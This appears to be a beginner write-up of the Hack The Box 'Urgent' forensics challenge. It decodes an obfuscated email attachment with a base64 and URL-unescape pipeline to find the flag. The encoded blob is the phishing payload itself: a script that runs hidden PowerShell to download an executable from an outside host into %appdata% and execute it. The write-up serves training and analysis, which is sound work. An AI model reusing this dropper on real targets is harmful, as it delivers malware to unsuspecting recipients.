HackTheBox Urgent Writeup

Explore the basics of cybersecurity in the Urgent Challenge on Hack The Box. This very-easy-level Challenge introduces encryption reversal and file handling concepts in a clear and accessible way, perfect for beginners.

CyberChef

echo PGh0bWw+DQo8aGVhZD4NCjx0aXRsZT48L3RpdGxlPg0KPGJvZHk+DQo8c2NyaXB0IGxhbmd1YWdlPSJKYXZhU2NyaXB0IiB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPg0KZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzYyU2OCU3NCU2ZCU2YyUzZSUwZCUwYSUzYyU2OCU2NSU2MSU2NCUzZSUwZCUwYSUzYyU3NCU2OSU3NCU2YyU2NSUzZSUyMCUzZSU1ZiUyMCUzYyUyZiU3NCU2OSU3NCU2YyU2NSUzZSUwZCUwYSUzYyU2MyU2NSU2ZSU3NCU2NSU3MiUzZSUzYyU2OCUzMSUzZSUzNCUzMCUzNCUyMCU0ZSU2ZiU3NCUyMCU0NiU2ZiU3NSU2ZSU2NCUzYyUyZiU2OCUzMSUzZSUzYyUyZiU2MyU2NSU2ZSU3NCU2NSU3MiUzZSUwZCUwYSUzYyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU2YyU2MSU2ZSU2NyU3NSU2MSU2NyU2NSUzZCUyMiU1NiU0MiU1MyU2MyU3MiU2OSU3MCU3NCUyMiUzZSUwZCUwYSU1MyU3NSU2MiUyMCU3NyU2OSU2ZSU2NCU2ZiU3NyU1ZiU2ZiU2ZSU2YyU2ZiU2MSU2NCUwZCUwYSUwOSU2MyU2ZiU2ZSU3MyU3NCUyMCU2OSU2ZCU3MCU2NSU3MiU3MyU2ZiU2ZSU2MSU3NCU2OSU2ZiU2ZSUyMCUzZCUyMCUzMyUwZCUwYSUwOSU0MyU2ZiU2ZSU3MyU3NCUyMCU0OCU0OSU0NCU0NCU0NSU0ZSU1ZiU1NyU0OSU0ZSU0NCU0ZiU1NyUyMCUzZCUyMCUzMSUzMiUwZCUwYSUwOSU1MyU2NSU3NCUyMCU0YyU2ZiU2MyU2MSU3NCU2ZiU3MiUyMCUzZCUyMCU0MyU3MiU2NSU2MSU3NCU2NSU0ZiU2MiU2YSU2NSU2MyU3NCUyOCUyMiU1NyU2MiU2NSU2ZCU1MyU2MyU3MiU2OSU3MCU3NCU2OSU2ZSU2NyUyZSU1MyU1NyU2MiU2NSU2ZCU0YyU2ZiU2MyU2MSU3NCU2ZiU3MiUyMiUyOSUwZCUwYSUwOSU1MyU2NSU3NCUyMCU1MyU2NSU3MiU3NiU2OSU2MyU2NSUyMCUzZCUyMCU0YyU2ZiU2MyU2MSU3NCU2ZiU3MiUyZSU0MyU2ZiU2ZSU2ZSU2NSU2MyU3NCU1MyU2NSU3MiU3NiU2NSU3MiUyOCUyOSUwZCUwYSUwOSU1MyU2NSU3MiU3NiU2OSU2MyU2NSUyZSU1MyU2NSU2MyU3NSU3MiU2OSU3NCU3OSU1ZiUyZSU0OSU2ZCU3MCU2NSU3MiU3MyU2ZiU2ZSU2MSU3NCU2OSU2ZiU2ZSU0YyU2NSU3NiU2NSU2YyUzZCU2OSU2ZCU3MCU2NSU3MiU3MyU2ZiU2ZSU2MSU3NCU2OSU2ZiU2ZSUwZCUwYSUwOSU1MyU2NSU3NCUyMCU2ZiU2MiU2YSU1MyU3NCU2MSU3MiU3NCU3NSU3MCUyMCUzZCUyMCU1MyU2NSU3MiU3NiU2OSU2MyU2NSUyZSU0NyU2NSU3NCUyOCUyMiU1NyU2OSU2ZSUzMyUzMiU1ZiU1MCU3MiU2ZiU2MyU2NSU3MyU3MyU1MyU3NCU2MSU3MiU3NCU3NSU3MCUyMiUyOSUwZCUwYSUwOSU1MyU2NSU3NCUyMCU2ZiU2MiU2YSU0MyU2ZiU2ZSU2NiU2OSU2NyUyMCUzZCUyMCU2ZiU2MiU2YSU1MyU3NCU2MSU3MiU3NCU3NSU3MCUyZSU1MyU3MCU2MSU3NyU2ZSU0OSU2ZSU3MyU3NCU2MSU2ZSU2MyU2NSU1ZiUwZCUwYSUwOSU1MyU2NSU3NCUyMCU1MCU3MiU2ZiU2MyU2NSU3MyU3MyUyMCUzZCUyMCU1MyU2NSU3MiU3NiU2OSU2MyU2NSUyZSU0NyU2NSU3NCUyOCUyMiU1NyU2OSU2ZSUzMyUzMiU1ZiU1MCU3MiU2ZiU2MyU2NSU3MyU3MyUyMiUyOSUwZCUwYSUwOSU0NSU3MiU3MiU2ZiU3MiUyMCUzZCUyMCU1MCU3MiU2ZiU2MyU2NSU3MyU3MyUyZSU0MyU3MiU2NSU2MSU3NCU2NSUyOCUyMiU2MyU2ZCU2NCUyZSU2NSU3OCU2NSUyMCUyZiU2MyUyMCU3MCU2ZiU3NyU2NSU3MiU3MyU2OCU2NSU2YyU2YyUyZSU2NSU3OCU2NSUyMCUyZCU3NyU2OSU2ZSU2NCU2ZiU3NyU3MyU3NCU3OSU2YyU2NSUyMCU2OCU2OSU2NCU2NCU2NSU2ZSUyMCUyOCU0ZSU2NSU3NyUyZCU0ZiU2MiU2YSU2NSU2MyU3NCUyMCU1MyU3OSU3MyU3NCU2NSU2ZCUyZSU0ZSU2NSU3NCUyZSU1NyU2NSU2MiU0MyU2YyU2OSU2NSU2ZSU3NCUyOSUyZSU0NCU2ZiU3NyU2ZSU2YyU2ZiU2MSU2NCU0NiU2OSU2YyU2NSUyOCUyNyU2OCU3NCU3NCU3MCU3MyUzYSUyZiUyZiU3MyU3NCU2MSU2ZSU2NCU3NSU2ZSU2OSU3NCU2NSU2NCUyZSU2OCU3NCU2MiUyZiU2ZiU2ZSU2YyU2OSU2ZSU2NSUyZiU2NiU2ZiU3MiU2ZCU3MyUyZiU2NiU2ZiU3MiU2ZCUzMSUyZSU2NSU3OCU2NSUyNyUyYyUyNyUyNSU2MSU3MCU3MCU2NCU2MSU3NCU2MSUyNSU1YyU2NiU2ZiU3MiU2ZCUzMSUyZSU2NSU3OCU2NSUyNyUyOSUzYiU1MyU3NCU2MSU3MiU3NCUyZCU1MCU3MiU2ZiU2MyU2NSU3MyU3MyUyMCUyNyUyNSU2MSU3MCU3MCU2NCU2MSU3NCU2MSUyNSU1YyU2NiU2ZiU3MiU2ZCUzMSUyZSU2NSU3OCU2NSUyNyUzYiUyNCU2NiU2YyU2MSU2NyUzZCUyNyU0OCU1NCU0MiU3YiUzNCU2ZSUzMCU3NCU2OCUzMyU3MiU1ZiU2NCUzNCU3OSU1ZiUzNCU2ZSUzMCU3NCU2OCUzMyU3MiU1ZiU3MCU2OCUzMSU3MyU2OCU2OSUzMSU2ZSU2NyU1ZiUzNCU3NCU3NCUzMyU2ZCU3MCU1NCU3ZCUyMiUyYyUyMCU2ZSU3NSU2YyU2YyUyYyUyMCU2ZiU2MiU2YSU0MyU2ZiU2ZSU2NiU2OSU2NyUyYyUyMCU2OSU2ZSU3NCU1MCU3MiU2ZiU2MyU2NSU3MyU3MyU0OSU0NCUyOSUwZCUwYSUwOSU3NyU2OSU2ZSU2NCU2ZiU3NyUyZSU2MyU2YyU2ZiU3MyU2NSUyOCUyOSUwZCUwYSU2NSU2ZSU2NCUyMCU3MyU3NSU2MiUwZCUwYSUzYyUyZiU3MyU2MyU3MiU2OSU3MCU3NCUzZSUwZCUwYSUzYyUyZiU2OCU2NSU2MSU2NCUzZSUwZCUwYSUzYyUyZiU2OCU3NCU2ZCU2YyUzZSUwZCUwYScpKTsNCjwvc2NyaXB0Pg0KPC9ib2R5Pg0KPC9odG1sPg0KDQoNCg0KDQoNCg== | base64 -d | python -c 'import sys,urllib.parse as ul; print(ul.unquote(sys.stdin.read().strip()))' | grep 'HTB'

Summary

The HackTheBox Urgent Challenge involves decoding obfuscated Base64-encoded strings embedded within email attachments to extract hidden messages. Participants analyze email metadata, headers, and Base64-encoded HTML/JavaScript content. Using tools like base64 decoding and text processing, they deobfuscate the data to reveal the encoded message without requiring execution in a browser or specialized environment. This challenge provides an accessible introduction to forensic data decoding, script analysis, and information extraction techniques.